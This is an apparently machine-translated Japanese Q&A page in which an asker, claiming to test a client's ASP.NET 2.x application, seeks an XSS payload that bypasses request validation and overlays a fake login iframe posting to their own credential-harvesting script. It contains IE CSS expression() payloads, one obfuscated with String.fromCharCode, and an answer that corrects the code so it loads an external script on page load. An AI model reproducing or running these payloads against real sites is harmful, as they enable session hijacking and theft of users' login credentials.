web-dev-qa-db-ja.com

スタイルタグXSS内からのJavaScript関数の呼び出し

変数の適切なサニタイズに失敗したクライアントのアプリケーションでXSSを特定しました。ただし、アプリケーションはASP.NET 2.xで作成されており、リクエストの検証がオンになっています。

リクエストの検証をバイパスしてIEで動作する以下の文字列を知っています。

‹%tag style="xss:expression(alert(123))" ›

ただし、クライアントに単純なアラートボックスを表示するのではなく、XSSを使用してアプリのログインページのフルスクリーンのiframeを動的に生成し、そのポストアクションを、自分でホストする資格情報取得スクリプトに変更します。

このiframeを生成するためのコードがあり、動作することを知っています。私が苦労しているのは、タグスタイル属性内から実行するJavaScript関数を取得することです。これを実現する最良の方法は、DOMで_<script src=..>_ノードを動的に生成することだと思いました。ただし、コードは確実に機能しますが、タグスタイル属性内からは実行されません。

では、スタイル属性内から適切なJavaScriptコードを実行する方法について何か提案はありますか?これが私の現在のコードです(機能していません):

_<%tag style="xss:expression(    
        function init()
                     {
         var nBody = document.getElementsByTagName('body')[0];
         var newInclude = document.createElement('script');
         newInclude.setAttribute('src','src.js');
         nBody.appendChild(newInclude);
         }

onload=init;
)">
_

編集:このコードをユニコードに変換すると機能することも追加したいと思いました:

function test(){alert(1);}test();

<IMG STYLE="xss:expression(eval(String.fromCharCode(102, 117, 110, 99, 116, 105, 111, 110, 32, 116, 101, 115, 116, 40, 41, 123, 97, 108, 101, 114, 116, 40, 49, 41, 59, 125, 116, 101, 115, 116, 40, 41, 59)))">

4
Jingo

expression()はJavaScript式でなければなりません。関数宣言とそれに続く代入式の2つのステートメントがあります。単一の関数式でそれを行うことは私にとってはうまくいきます:

<div style="xss:expression(onload=function() {
    var newInclude = document.createElement('script');
    newInclude.src = 'src.js';
    document.body.appendChild(newInclude);
})">

(CSSの追加レイヤーなしで実行されていることに少し驚いています\nnエスケープ!)

3
bobince